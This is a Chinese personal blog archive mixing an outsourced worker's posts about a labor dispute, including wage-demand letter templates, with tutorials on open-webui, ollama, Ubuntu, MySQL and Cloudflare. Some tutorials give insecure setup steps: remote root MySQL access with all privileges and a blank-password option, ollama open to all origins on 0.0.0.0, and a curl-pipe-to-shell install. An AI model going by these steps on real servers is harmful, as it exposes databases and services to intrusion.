杭州软通信息技术服务有限公司:我是XXX(身份证号码:XXX),系贵公司XX部门的员工,自20XX年X月X日起在贵公司工作,双方签订了劳动合同,约定税前月工资为人民币XX元(大写:XX元整)。然而,经本人核对银行流水及工资条等记录,发现贵公司在20XX年X月X日至X月X日期间,未按照约定足额向我支付劳动报酬。具体差额为XX元(大写:XX元整),具体情况如下:2025年X月:应发工资(税前):XX元,实发工资(税前)XX元,差额XX元。2025年X月:应发工资(税前):XX元,实发工资(税前)XX元,差额XX元。鉴于上述情况,本人依据《中华人民共和国劳动合同法》及相关法律法规的规定,特向贵公司提出以下要求:请贵公司在收到本通知书之日起三个工作日内向我补发该差额部分工资。如贵公司未能在上述期限内足额支付劳动报酬,我将不得不采取进一步的法律措施,包括但不限于劳动监察投诉、申请劳动仲裁或提起民事诉讼等方式维护我的合法权益。届时,由此产生的一切法律后果及额外费用(如律师费、诉讼费等)将由贵公司承担。希望贵公司能够重视此事,尽快履行支付义务,避免不必要的法律纠纷。同时,我也保留与贵公司友好协商解决此事的权利。特此通知! 通知人:XXX20XX年X月X日 ### 宝塔网站监控报表应用的SEO优化存在非常严重的问题(疑似投毒) 尤其是推送工具和Sitemap 工具这2个功能,推送的URL非常不专业,把wordpress文章编辑页面和删除页面都要推送;还有里面利用漏洞传播或者下载服务器文件的URL;这个太吓人了; 解决方法:关闭网站监控报表的定时生成Sitemap ❗❗❗好像是遍历目录攻击 问了AI,风险等级高危; 🔻莫名其妙的from🔻 找到了对应的网站,这个网站是收录国内博客网站的,但是我从来没有在这个网站上主动申请收录,真的是莫名其妙,推送这个URL干啥? 🔻推送文章编辑页面🔻 ### 小米机械键盘 MK71 Pro 驱动下载地址 🔻小米机械键盘 MK71 Pro 驱动🔻 ❗❗❗2025年7月2日:已经报废,刚开始win按键失灵;然后不小心把谁倒在了键盘上,就好几个按键失灵,显示器白屏;键盘居然不防水; ### 记录下wordpress 主题地址官网和Erphpdown 插件下载地址 记录下插件下载地址(老是要找下载地址);这个插件主要是用于wordpress文章收费 🔻wordpress 主题地址官网🔻 🔻Erphpdown 插件下载地址🔻 Erphpdown 插件:支持在线支付(支付宝、微信支付、贝宝Paypal、信用卡Stripe),用户推广、提现,发布收费下载与收费内容查看,VIP会员权限等功能的插件 ### 软通动力,坐班第六周 💢昨天软通发工资了,共发了2555元,请假4天,差不多扣了将近800; ✅这周主要学习内容 ❗这周主要还是学习python基础语法,进度差不多三分之一;python的语法基本上跟Java差不多,只是一定程度上简化了Java语法; ✅下周计划 ❗下周开始准备,发工资异议函和出项异议函,计划每周发一次;然后投诉社保,公积金等没有足额发; ✅在项目中要收集的证据 ❗出项邮件通知书,工作证明,加班证据; ### CloudFlare CDN + 阿里云 CDN,实现国外CDN访问网站网络加速 ✅原理是通过域名服务商的DNS解析,实现国内访问走阿里云的CDN,国外访问走CloudFlare CDN,实现加速网站,国外访问还可以实现保护源站功能; 💜准备工作 ❗源站的主域名 A.COM ❗工具域名 B.COM,工具域名可以托管到CloudFlare ,或者就是在CloudFlare 上注册的域名 ❗PayPal或者信用卡(外币) 主要是用于支付免费的CloudFlare SAAS功能 💜流程图 💜操作步骤 ❗CloudFlare设置 登陆CloudFlare官网; 账号主页👉点击域名 DNS👉记录👉添加记录 SSL/TLS加密设置微完全或者严格 添加回退源 添加自定义主机名 ❗阿里云DNS设置 阿里云添加CloudFlare的TXT解析 阿里云域名DNS添加CloudFlare 2个TXT值 阿里云域名DNS解析CNAME和A CNAME解析 A解析 就这样配置好了,也可以登陆网站校验效果 💜效果 🔻测速网站🔻 貌似效果不太好;应该再加个VPS中转下,应该效果会更好; 🔻没设置CloudFlare CDN 前🔻 🔻还会有被封号的风险?这个不确定会不会封号🔻 ### 分享和记录一个 AI/LLM模型图标集下载网址 🔻官网🔻 🔻GitHub🔻 可以直接搜索,然后点击下载SVG格式的文件; ### 软通动力,坐班第五周 这周从中控搬到了慧岗,6人挤在1个会议室里;公司发的笔记本,周末要带回家; 目前还是没有新项目,HR说是没有新项目,有1个1000多人的新项目是硬件测试,进不了; 坐班期间,还是学习python和AI相关知识; ### 华为外包目前行情 [Content is password protected] ### 软通动力,坐班的第一个月 ✅学习软件测试的基本概念; ✅学习python+AI+自动测试; ✅完善自己部署开源项目的AI相关配置和学习怎么使用DIFI; ✅学习使用Manus,解决了wordpress 文章浏览量+2的问题; ✅创建了1个wordpress 插件 ✅创建软通动力考勤工时统计 ✅部署code-server和配置(汉化,Java和python插件,github,git相关配置),可以远程编程; ✅学习《劳动法》和创建仲裁知识库; ❗最后软通动力还是没有动静; ### 软通动力合同续签大坑之一 第一次签的合同是技术岗;合同续签的时候是实施岗;实施岗和技术岗有很大区别,比如出项后,坐班有可能存在大坑; 这个坑,还是在仲裁群里看聊天记录发现的;当时只知道是续签合同,没想到居然埋了个大坑; 出项这个问题后,也不知道怎么补救; ### 解决微慕小程序版本更新后和WPJAM浏览量统一字段后,wordpress 浏览量+2的问题 前言 ✅这次用的是manus解决的,特别方便;之前用deepseek,chatgpt 用了好久都没能解决。 ✅使用manus,不到半小时就能解决问题了;不过manus需要用🪜,才能使用; 🔻manus官网🔻 🔻🔑🔻 🔻这是我用manus解决BUG的过程🔻 下面就是解决浏览量+2需要修改的代码 第一步:还是需要修改下面的代码(统一微信小程序和wordpress浏览量字段) 第二步:修改解决浏览量+2代码; 1、注释掉WordPress端自动计数钩子: 在rest-api-to-miniprogram.php中注释掉了第75行的add_action('wp_head', 'addPostPageviews'),避免WordPress端重复计数 2、优化小程序端浏览量递增逻辑: wp-content/plugins/rest-api-to-miniprogram/includes/ram-views-api.php 把下面的代码全部替换掉ram-views-api.php里的代码 cache_key_prefix . $post_id; $views = wp_cache_get($cache_key, 'views'); if ($views === false) { $views = (int) get_post_meta($post_id, 'views', true); wp_cache_set($cache_key, $views, 'views', 3600); // 缓存1小时 } return $views; } // 增加浏览量的方法 - 优化版本,确保每次请求只增加一次 public function increment_views($post_id) { // 检查该文章是否已经在本次请求中更新过 if (isset(self::$updated_posts[$post_id])) { return self::$updated_posts[$post_id]; // 直接返回已缓存的浏览量 } // 获取当前浏览量 $views = (int) get_post_meta($post_id, 'views', true); $views++; // 直接更新数据库,绕过缓存 global $wpdb; $meta_key = 'views'; $meta_value = $views; $meta_id = $wpdb->get_var($wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = %s", $post_id, $meta_key)); if($meta_id) { $wpdb->update( $wpdb->postmeta, array('meta_value' => $meta_value), array('meta_id' => $meta_id) ); } else { $wpdb->insert( $wpdb->postmeta, array( 'post_id' => $post_id, 'meta_key' => $meta_key, 'meta_value' => $meta_value ) ); } // 更新缓存 $cache_key = $this->cache_key_prefix . $post_id; wp_cache_set($cache_key, $views, 'views', 3600); // 记录此文章已在本次请求中更新过 self::$updated_posts[$post_id] = $views; // 记录调试信息 if(defined('WP_DEBUG') && WP_DEBUG) { error_log('RAM Views Update: Post ID ' . $post_id . ', Views: ' . $views . ', Time: ' . date('Y-m-d H:i:s')); } return $views; } } ### 软通动力,坐班第九天 回复不同意《出现通知书》邮件后,软通动力没回复,没动静; 软通动力也没有进行待岗工作安排,没有安排新项目面试; 昨天早上打狂犬疫苗第三针,请假半天; ### 软通动力,坐班第七天(回复不同意《出现通知书》模板) 软通动力那边,一直都没反应;完全就是放任不管的状态; 然后发现考勤班次,还是之前的弹性坐班,按照软通坐班的考勤时间来算(早上9:00到下午18:00),居然还欠1.72小时; 这周回复了《出项通知》邮件,明确表示不同意降薪调岗;需要安排新项目面试;结果还是没一点反应,也没回复我的邮件; 🔻下面是不同意《出项通知书》模板🔻 尊敬的领导及人事部门:您好!感谢公司对我工作的关注与安排。针对2025年4月29日收到的《出项通知书》邮件,我已仔细阅读并充分理解其中内容,但基于以下原因,本人无法接受通知中的相关安排:1. 协商一致原则未被遵守根据《劳动合同法》第三十五条规定,用人单位变更劳动合同约定的内容(包括岗位调整、工作安排等),需与劳动者协商一致后方可执行。然而,《出项通知书》中涉及的工作安排调整并未与本人进行充分协商,也未达成一致意见,因此该决定乏法律依据。2. 缺乏明确的工作安排通知书中未明确说明待岗期间的具体工作安排、劳动条件以及后续的职业发展路径。这种不确定性对员工的职业规划和个人生活造成了较大影响,不符合合理用工的原则。因此,本人无法接受此安排。3. 工资待遇保障问题若公司坚持要求本人进入待岗状态,根据《劳动合同法》第四十条及地方相关规定,公司应按照原聘用合同中约定的工资标准继续支付薪资,或在合法合规的前提下提供合理的经济补偿(如"N+1”)。若未能满足上述条件,本人无法接受待岗安排。综上所述,本人不接受《项通知书》中的相关安排,并希望公司能够重视我的诉求,重新考虑合理的解决方案。如果公司仍坚持当前决定,我希望公司能够按照法律法规的规定,提供相应的经济补偿或重新安排适合的工作岗位。如有进一步沟通需求,我愿意积极配合。期待您的正式回复!此致敬礼!姓名:XXXX工号:XXXX日期:2025年5月15日 ### 被拉进神秘微信群后,外包同事集体躲过了公司埋的5个坑 被同事拉进一个微信群,51加油群; 主要是为了外包公司提供仲裁帮助和避免不必要的坑; 比如收到出项邮件,如何回复邮件;证据收集,仲裁流程等等; 🔻51加油网站🔻 ### 坐班第三天,请假一天 昨天晚上,被小区野猫抓伤;外面的野猫还是要保持一段距离; 今天到医院打了狂犬疫苗; ### 软通动力,坐班第二天 软通动力会配一台笔记本,能连接互联网;然后他们什么都不管(包括玩手机),这个也不知道是不是存在陷阱; 进入资源池,跟裁员差不多了; 有个同事也准备进行仲裁了; 外面投简历,没有一个面试;网上也说现在的招聘网站,都是挂在职位的; ### 软通动力电子合同下载 软通动力电子合同下载地址: 手机登陆成功后,居然没有合同? 上面的链接来源于知乎 软通同理另外一种下载方法 ### 软通动力,坐班第一天 还是早上在华为打卡,到慧港退掉华为工卡,补办软通工卡; 坐班地点是中控; 这次5个认识的,4个都进资源池; 说是任和孟看财报,亏损很严重;谁晓得是不是真的,还是瞎忽悠; ### 华为外包出项目,软通动力(杭州)上下班打卡时间 4月30日出项目,明天就要到软通动力报道,进入资源池;之前项目的同事,这个月都进资源池了; 打卡时间为早上9点,到下午6点;打卡地点还是在华为那边; 就1个项目面试,结果应该是没通过,然后一直没项目;是否成功进入新项目,也未知; 之前换项目都挺快,1个星期内就能进新项目; 下面的那篇文章最后一句,还真的有可能说中了; ### 【副业】谷歌广告收益 谷歌广告两年收益大概20美元; 每天基本上0.01-0.02美元;收益太少了,少的可令;要凑够100美元,那不得要10年左右;🤣😢 ### 【副业】网心云收益已经有1229元 每个月的电脑电费还是可以赚的; 好像是2年时间,网心云收益一共1229元; 第一次注册网心云的话,可以点击下面的链接注册,这样你也可以增加收益,我也可以增加收益,新人可得5元红包+50%加成卡+120元设备购买优惠劵:新人优惠劵 ### 【教程】Windows 11 如何快速进入系统环境变量设置 键盘同时按下Win+I ,然后输入sysdm.cpl,回车,弹出系统属性设置 系统属性选择高级👉环境变量 点击环境变量(N) ### 【教程】Windows + ollama 设置远程访问 如何进入环境变量,可以查看下面文章 环境变量添加 OLLAMA_HOSTS=0.0.0.0 OLLAMA_ORIGINS=* ### Windows + ollama 迁移下载模型到其他硬盘 用户环境变量修改Path,把ollama 原始路径修改为目标路径;然后把ollama的文件剪切到目标路径; ollama 默认安装路径:C:\Users\Cheng\AppData\Local\Programs\Ollama 环境变量添加OLLAMA_MODELS,变量值填模型路径:E:\Ollama\.ollama\models ollama 模型路径 :C:\Users\用户名\.ollama ### open-webui 设置用google账号登陆 - openwebui 设置openwebui的环境变量 设置环境开启OAuth变量 # 开启SSO账户登录 ENABLE_LOGIN_FORM=True ENABLE_OAUTH_SIGNUP=True OAUTH_MERGE_ACCOUNTS_BY_EMAIL=True 设置google OAuth 的环境变量 # Google GOOGLE_CLIENT_ID="" GOOGLE_CLIENT_SECRET="" GOOGLE_REDIRECT_URI="https://域名/oauth/google/callback" google 申请应用 使用谷歌账户登陆 选择客户端👉创建客户端;应用类型选择Web应用,名称填可以区分项目; 已授权的 JavaScript 来源,点击添加URL,URL 填写open-webui的域名 已获授权的重定向 URI,URL填写https://域名/oauth/google/callback; 点击创建后,会有客户端ID和SECRET值,添加到open-webui环境变量GOOGLE_CLIENT_ID,GOOGLE_CLIENT_SECRET; 使用google 账号登陆 ### Ubuntu 24.04 如何安装/卸载deb格式文件 - Ubuntu 卸载 # 首先搜索是否已经安装 dpkg -l |grep deb文件名字 # 卸载 dpkg -r deb文件名字 安装 如果有系统桌面,可以双击点击deb文件,就可以安装;安装方式跟Windows 11 系统安装exe文件一样; 如果没有系统桌面,只能通过命令行安装; apt deb文件格式的文件 ### 杭州公司,想尽一切办法降工资 资源池,降工资,换项目 😒之前组的同事,离项,进入资源池;公司要求降工资,否则不能换项目; 签降薪协议 🙌去年签的降工资(降500)协议,也不知道有没有什么其他条款, 当时签的时候问了,说是只是降工资,没有其他条款; 2025年6月27日:签降薪协议有可能是为待岗做准备的? 婚假扣钱 😂加上上个月请婚假,还要从绩效工资扣2000;也是没谁了; 放弃年假协议 🤷‍♂️这周又在iCan签了放弃年假协议; 今天通知换项目 4月19日,通知了换项目,进入资源池了; ### open-webui 环境变量设置 open-webui 是通过PIP方式安装;如果用docker部署的open-webui,可以使用docker方式添加环境变量; 下面就是添加通过PIP安装open-webui方式的环境变量; 在/etc/systemd/system/openwebui.service 文件里的Service添加下面一行 EnvironmentFile=/PATH/open-webui/open-webui.env 然后在open-webui.env添加环境变量,可以不用在open-webui 的config.py里修改环境变量(open-webui config.py 有变动); 示例: # Redis WEBSOCKET_REDIS_URL="redis://127.0.0.1:6379/0" WEBSOCKET_MANAGER="redis" DATABASE_POOL_SIZE=15 # 日志开启DEBUG GLOBAL_LOG_LEVEL="DEBUG" # searxng搜索URL ENABLE_RAG_WEB_SEARCH=True SEARXNG_QUERY_URL="https://localhost/search?format=json&engines=bing&language=zh-CN&safesearch=0&time_range=&categories=general" # Qdrant VECTOR_DB=qdrant QDRANT_GRPC=True QDRANT_URI=http://127.0.0.1:6333 QDRANT_API_KEY= QDRANT_GRPC_PORT=6334 QDRANT_ON_DISK=True ### open-webui + Ubuntu 设置开机自启动 前提 open-webui 是通过pip 安装; 系统是Ubuntu 24.04; 添加systemd开启自启动文件 在/etc/systemd/system目录下新建openwebui.service文件夹; [Unit] Description=Open-webui Service Before=network.target [Service] Type=simple ExecStart=/usr/local/bin/open-webui serve User=root Group=root Restart=always RestartSec=3 EnvironmentFile=/PATH/open-webui/open-webui.env [Install] WantedBy=multi-user.target 重置 Systemd 配置,并启动开启自启 # 重置 Systemd 配置 sudo systemctl daemon-reload # 设置开机自启动 sudo systemctl enable openwebui.service open-webui 日志查看 journalctl -u openwebui -f ### open-webui(0.6.0) 谷歌搜索无法使用 这个星期更新open-webui 到0.6.0 版本,发现使用联网搜索,会导致open-webui 非常卡,然后超过nginx设置的超时时间,很夸张的是要等2个小时后才会恢复;这是1个问题; 第二个问题就是用命令行启动要等很久,才能访问open-webui; 0.6.0 上1个版本,联网搜索非常快;打算要回退版本; 原来是www.googleapis.com ping 不通了,不确定是网络封了,还是谷歌封了; bing 申请搜索API,太麻烦,流程繁琐,还不能申请免费套餐; searxng 倒是能用,但是openwebui 概率搜索不出来结果,经常搜索失败; 问题解决了,设置clash就可以; ### Windows 11 更新补丁后,文件资源管理器闪退 根因 3月29日,Windows 11 有2个补丁,其中一个补丁导致文件资源管理器闪退;只要卸载其中一个补丁(不是卸载安全补丁); 总结 但问题出现后,应该尝试找出为什么会出现问题?出现问题前,我们做过/改过什么导致这个问题出现,不管是不是这个问题,不会影响问题的出现。 ### ITX华硕主板 Type-C 千兆有线网卡 一台ATX主板的电脑有个PICE 双网口的板子; 然后昨天在京东上买了Type-C 千兆有线网卡,可以通过type-c 的网线把两台电脑连接起来(设置同一网段的IP); 然后,不知道干嘛用了!🙄 ### 解决Ubuntu 24.04 登录页面键盘和鼠标无反应问题! 根因: 在Ubuntu 执行了apt autoremove时,把xserver-xorg-input-all包给卸载了; 之前遇到过,有线网络消失,鼠标键盘无反应问题,这次特意的关注了autoremove后,卸载的列表; 卸载信息列表: apport-symptoms cloud-guest-utils eatmydata fdisk gdisk libeatmydata1 libglu1-mesa libxatracker2 libxcb-damage0 libxvmc1 python-babel-localedata python3-attr python3-babel python3-certifi python3-configobj python3-dateutil python3-jinja2 python3-json-pointer python3-jsonpatch python3-jsonschema python3-markupsafe python3-problem-report python3-pyrsistent python3-serial python3-systemd python3-tz python3-urllib3 ubuntu-advantage-desktop-daemon unattended-upgrades x11-apps x11-session-utils xbitmaps xinit xinput xserver-xorg-input-all xserver-xorg-input-libinput xserver-xorg-input-wacom xserver-xorg-video-all xserver-xorg-video-amdgpu xserver-xorg-video-ati xserver-xorg-video-fbdev xserver-xorg-video-intel xserver-xorg-video-nouveau xserver-xorg-video-qxl xserver-xorg-video-radeon xserver-xorg-video-vesa xserver-xorg-video-vmware apt autoremove 这个命令行居然把关键的包给卸载了,真是无语了 解决方法: 前提是Ubuntu能连接网络。 # 重新安装 Xorg 输入驱动和核心依赖 sudo apt install --reinstall xserver-xorg-input-all xserver-xorg-core # 安装可能的缺失组件(如 libinput) sudo apt install libinput-bin xserver-xorg-input-libinput # 重建 Xorg 配置 sudo dpkg-reconfigure xserver-xorg # 重启系统 sudo reboot apt autoremove 和 apt-get autoremove 还是不要用了;还好能及时恢复,差点又要重装系统; ### 解决pip 安装时error: externally-managed-environment 错误信息 error: externally-managed-environment × This environment is externally managed ╰─> To install Python packages system-wide, try apt install python3-xyz, where xyz is the package you are trying to install. If you wish to install a non-Debian-packaged Python package, create a virtual environment using python3 -m venv path/to/venv. Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make sure you have python3-full installed. If you wish to install a non-Debian packaged Python application, it may be easiest to use pipx install xyz, which will manage a virtual environment for you. Make sure you have pipx installed. See /usr/share/doc/python3.12/README.venv for more information. note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages. hint: See PEP 668 for the detailed specification. 解决方法 echo 'export PIP_BREAK_SYSTEM_PACKAGES=1' >> ~/.bashrc source ~/.bashrc ### 【原创】open-webui数据库和redis 优化 🔻最新修改环境变量文档🔻 下面的没用了; openwebui 是通过pip 安装; 安装目录为:/usr/local/lib/python3.12/dist-packages/open_webui; 下面修改的是/usr/local/lib/python3.12/dist-packages/open_webui/env.py里的配置项; 提供的相关的环境变量 WEBUI_SECRET_KEY设置 WEBUI_SECRET_KEY 设置;在env.py,第377行; if WEBUI_AUTH and WEBUI_SECRET_KEY == "123123": 启用redis 默认是开启了redis WEBSOCKET_MANAGER 设置redis,启动redis缓存;在385行,""中输入redis WEBSOCKET_MANAGER = os.environ.get("WEBSOCKET_MANAGER", "redis") SQLite 改为postgresql 由默认的SQLite更换为postgresql; 在272行;postgresql数据库需要自己创建openweb相关数据表,否则启动openwebui会因为数据表字段属性错误,导致数据表初始化失败;解决的办法是通过创建docker时把postgresql的数据表初始化; 还有要注意的是,必须是第一次安装openwebui,没有创建账户;如果只是数据库迁移到postgresql;登录账户会提示密码错误; DATABASE_URL = os.environ.get("DATABASE_URL", f"postgresql://username:password@localhost:port/openwebui_db") DATABASE_POOL_SIZE 设置数据库连接池 默认是0;目前设置3;在280行 DATABASE_POOL_SIZE = os.environ.get("DATABASE_POOL_SIZE", 3) 感觉没用;如果模型和数据库在同一个服务器里会导致openwebui报500 网络错误,或者openwebui非常的卡顿; 修改默认端口 把/usr/local/lib/python3.12/dist-packages/open_webui/__init__.py配置文件里的8080都改为需要修改的端口;启动openwebui的时候,就不是默认的8080端口 ### 【原创】Ubuntu + pipelines 开机自启动 pipelines作用未知,不启用这个,openwebui的联网搜索貌似用不了,搜索无数据的概率大很多; 错误信息 2025-03-22 19:46:17.812 | ERROR | open_webui.routers.openai:send_get_request:78 - Connection error: Cannot connect to host 127.0.0.1:9099 ssl:default [Connect call failed ('127.0.0.1', 9099)] - {} 下面是怎么设置开启启动 在/etc/systemd/system目录下面新建pipelines.service文件,并输入下面的代码; [Unit] Description=pipelines Service After=network-online.target [Service] Type=forking ExecStart=/mnt/256G/docker/pipelines/start.sh WorkingDirectory=/mnt/256G/docker/pipelines/ User=root Group=root Restart=always RestartSec=3 [Install] WantedBy=multi-user.target 重载 Systemd 配置 sudo systemctl daemon-reload 启用开机自启动 sudo systemctl enable pipelines.service 启动服务并验证 sudo systemctl start pipelines.service sudo systemctl status pipelines.service ### Ubuntu 24.04 最垃圾的系统,太不稳定了,太离谱了!!! 💥💥💥有线网络和WiFi 会掉 用着好好的,重启或者reboot后,发现没有有线网络和WiFi; 之前解决的方法也不行;大概率是更新了显卡驱动后,网络驱动掉了! 💥💥💥鼠标和键盘驱动 会掉 这次更离谱键盘和鼠标驱动有可能掉了,系统突然黑屏,强制关机启动后;登录界面键盘和鼠标动不了,启动也进入不了Grub; Ubuntu 24.04 系统太特么离谱了! 上面的2个问题都是apt-get upgrade 后,执行了apt-get autoclean 和 apt-get autoremove;有可能是有关驱动clean/remove了,才出现的问题; 真特么离谱! ### Ubuntu+ollama 迁移下载模型到其他硬盘 ollama 模型目录 /usr/share/ollama/.ollama/models 设置ollama下载模型目录 先把/usr/share/ollama/.ollama/models里面的模型移动到指定的目录文件; 修改 vim /etc/systemd/system/ollama.service;新增下面的环境变量,同时把User和Group修改为root Environment="OLLAMA_MODELS=/PATH/models" 完整的配置: [Unit] Description=Ollama Service After=network-online.target [Service] ExecStart=/usr/local/bin/ollama serve User=root Group=root Restart=always RestartSec=3 Environment="PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/root/.local/bin" Environment="OLLAMA_MODELS=/path/AI/models" [Install] WantedBy=default.target 执行 sudo systemctl daemon-reload 重启ollama service ollama start 查看ollama下载的模型 ollama list ### 解决open webui 开启联网搜索时,报Network Problem 错误 ⬇️原因应该是nginx 超时了;解决方法是nginx配置项增加超时时间; # 解决 Network Problem 问题 proxy_read_timeout 600s; proxy_send_timeout 600s; #proxy_set_header Connection $connection_upgrade; proxy_set_header Connection "upgrade"; ✔️加了配置后,Network Problem 错误概率小了点; ❗nginx的错误日志 ### Open webui 配置pipeline pipeline安装 1、拷贝Pipelines repository: git clone https://github.com/open-webui/pipelines.git cd pipelines 2、安装 pip install -r requirements.txt 3、启动pipeline ./start.sh Open webui配置pipeline 设置➡️管理员设置➡️外部连接➡️开启openAI API➡️ 点击( + ) 填入pipeline的地址和API密钥:0p3n-w3bu! 同时把原先默认的API给删除,否则Open webui会白屏很久; 也不知道pipeline是干嘛用的;好像是上传下面github py文件; ### 【教程】Ubuntu 通过PIP方式部署openwebui ➡️引言 使用dockers部署openwebui,下载速度太慢了。改用pip安装open-webui; 通过python安装目录位置(0.5.10) /usr/local/lib/python3.12/dist-packages/open_webui python 虚拟环境目录 /root/.pyenv/versions/3.12.0/lib/python3.12/site-packages/open_webui openwebui英文官网⬇️ 中文文档⬇️ ➡️安装openwebui pip install open-webui --break-system-packages --ignore-installed ➡️运行openwebui open-webui serve 如果端口8080已经被其他服务占用,可以在后面添加--port 9999; open-webui serve --port 9999 在浏览器里输入,http://IP:9999访问; ➡️更新openwebui pip install --upgrade open-webui 如果更新失败(有依赖问题)执行下面的命令行 pip install --upgrade open-webui --break-system-packages ➡️其他 ⬇️问题一:启动时报错 2月 03 20:12:01 My-System open-webui[25241]: warn("Couldn't find ffmpeg or avconv - defaulting to ffmpeg, but may not work", RuntimeWarning) 2月 03 20:12:01 My-System open-webui[25241]: WARNI [langchain_community.utils.user_agent] USER_AGENT environment variable not set, consider setting> ✔️解决方法: apt-get install ffmpeg ⬇️问题二:解决登录后白屏很久一段时间,才显示的问题 设置👉管理员设置👉外部连接👉关闭OpenAI API ⬇️问题三:开启联网 设置👉管理员设置👉联网搜索 搜索引擎选择duckduckgo(要有外网访问权限),这个是免费使用;其他的要配置; ### 本地电脑(Ubuntu+ollama)部署deepseek R1 1.5b 模型 下载Ollama 可以选择对应系统:Windows、Linux、macOs ,下载Ollama官网 ⬇️ 下载deepseek-r1 下载 deepseek-r1:1.5b ,因为电脑没独立显卡,只能下载1.5b,使用CPU;用CPU 速度还挺快; CPU 是i3 12100 ,7b也能使用,开启联网功能,CPU占用80%左右,内存占用15G; 可以使用14B; deepseek-r1 模型下载官网 ⬇️ 下载和运行的命令行 ollama run deepseek-r1:1.5b 查看ollama 已经下载的模型 ollama list 删除ollama已下载的模型 ollama rm deepseek-r1:1.5b 更新 可以执行安装命令行来更新ollama curl -fsSL https://ollama.com/install.sh | sh 效果 效果还行,不过不能联网使用(openwebui可以设置联网搜索),只能聊天;其他事情做不了; 退出命令行:/bye root@My-System:/mnt/256G/docker# ollama run deepseek-r1:7b >>> /bye 其他 没有GPU:1.5B Q8推理 或者 8B Q4推理 4G GPU:8B Q4推理 8G GPU:32B Q4推理 或者 8B Q4推理 16G GPU:32B Q4推理 或者 32B Q8推理 24G GPU: 32B Q8推理 或者 70B Q2推理 部署openwebui ⬇️ 可以使用openwebui;通过浏览器访问本地的deepseek; 也可以内网穿透到外网使用; ### 最新 Ubuntu + MySQL 安装部署,远程访问 安装MySQL sudo apt-get update apt-get install mysql-server 登录MySQL,默认密码为空,直接回车进入MySQL; mysql -u root -p 设置MySQL root 密码 # 登录MySQL mysql -u root -p # 通过MySQL命令行修改root 密码 use msyql; // 设置密码 ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'your_password'; FLUSH PRIVILEGES; 不设置root 密码登录 update user set authentication_string='' where user = 'root'; service mysql restart 允许root账户远程登录 编辑MySQL配置文件 vim /etc/mysql/mysql.conf.d/mysqld.cnf 注释掉bind-address = 127.0.0.1,并新增bind-address = 0.0.0.0 #bind-address = 127.0.0.1 bind-address = 0.0.0.0 保存并退出MySQL 授权root 账户远程访问 CREATE USER 'root'@'%' IDENTIFIED BY '密码'; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES; // 退出MySQL exit; ### Cloudflare + Hotmail 无成本创建自定义域名邮箱 ✨Cloudflare 原理是用其他邮件代发,代收邮件;作用是有自己的域名邮箱和不想暴露邮箱而使用自定义邮箱; 具体如何创建自定义域名邮箱步骤如下: 📌主要是分为2个步骤: Cloudflare 配置电子邮件 Hotmail配置别名 📍Cloudflare电子邮件设置 Cloudflare后台 📌首先要有Cloudflare账号和域名,且域名已经DNS到了Cloudflare; 📌登录Cloudflare后台; 📌点击左边菜单栏的账户主页👉点击添加的域名👉电子邮件 📌点击电子邮件👉电子邮件路由,输入自定义地址和目标位置(就是hotmail 邮箱地址),点击创建并继续; 📌然后就是添加配置DNS,这个步骤是自动化,只要点击添加记录并启用就行 📌然后设置Cloudflare电子邮件的路由规则和目标地址(已经自动化配置好了) 📍Hotmail 设置别名 📌登录Hotmail 别名设置页面 📌点击添加电子邮件 📌选择将现有电子邮件地址添加为 Microsoft账户别名;就是在Cloudflare设置的自定义域名 📍等待Cloudflare电子邮件生效 配置好后,并不是马上生效,是要等待一段时间后生效; 就可以用hotmail发邮件,收邮件;对方就显示Cloudflare的自定义域名邮箱 ### Wordpress 文章网站卡片插件:Custom Card Custom Card Plugin 是一个用于在 WordPress 网站中快速添加美观的卡片布局的插件。支持灵活的内容展示,包括图片、标题、描述文字和链接,适用于博客文章中插入网站的场景。效果 功能响应式布局,适配桌面端和移动端。支持自定义图片、标题、描述文字和链接。提供简单易用的短代码,快速插入卡片。灵活的自定义样式,适合不同设计需求。安装下载插件的 ZIP 文件。登录 WordPress 后台,导航到 插件 > 安装插件。点击 上传插件 按钮,选择 ZIP 文件并点击 安装。安装完成后,点击 启用插件。插件启用后,可以通过短代码或小工具在页面中添加自定义卡片。使用方法使用方法使用短代码使用在编辑器中插入以下短代码:替换短代码中的参数值,生成您需要的卡片内容。使用区块为了方便快捷使用网站卡片,新增了区块;文章区块搜索卡片展示,输入网站的URL;短代码参数title:卡片的标题(必填)。description:卡片的描述内容(可选)。image_url:卡片的图片链接地址(必填)。link_url:卡片的跳转链接(可选)。自定义样式插件默认样式文件位于 /assets/css/style.css。您可以通过 WordPress 外观设置自定义 CSS,覆盖默认样式。常见问题1. 插件安装后没有效果?请确认以下几点:插件是否正确启用。是否在页面或文章中插入了短代码。图片链接是否有效。2. 如何修改卡片的样式?您可以在 WordPress 外观中的 自定义 CSS 中添加样式,也可以直接编辑插件的 style.css 文件。3. 插件支持多语言吗?当前版本仅支持英文和简体中文,后续版本将支持更多语言。== 更新日志 ==2.0.0新增区块(使用方法:区块搜索卡片展示,然后输入URL)1.0.0初始版本发布。实现卡片的基本布局和样式。== 声明 == 本插件基于 GPL v2 许可证发布,您可以自由使用、修改和分发。== 联系方式 == 如需支持或报告问题,请联系: 作者网站: https://www.saita.com.cn 支持邮箱: chenghoufeng@saiita.top ### Wordpress 网址卡片插件 (二) 解决的问题 2025年,用ChatGPT 重新写了网址卡片插件,解决了部分问题: 如果文章放几个加载很慢的网址时,打开文章会很慢,; 卡片样式不好看 解决方法是第一次打开文章时,把卡片URL相关信息写入数据库中;修改css样式文件 更新代码后还存在的问题 下面就是最新的custom-card-plugin插件代码(不过还是有很多问题,没解决); 目前的问题: 文章第一个网站卡片,标题和描述一直loading; 卡片样式还是存在很多不协调的问题 整个卡片不能点击跳转,只能点击查看详情 每个卡片大小不统一 custom-plugin.php代码 prefix . 'custom_card_cache'; // 表名:wp_custom_card_cache // 设置字符集 $charset_collate = $wpdb->get_charset_collate(); // SQL 查询:创建表 $sql = "CREATE TABLE $table_name ( id BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT, url VARCHAR(255) NOT NULL, title VARCHAR(255) NOT NULL, description TEXT, image VARCHAR(255), cache_time 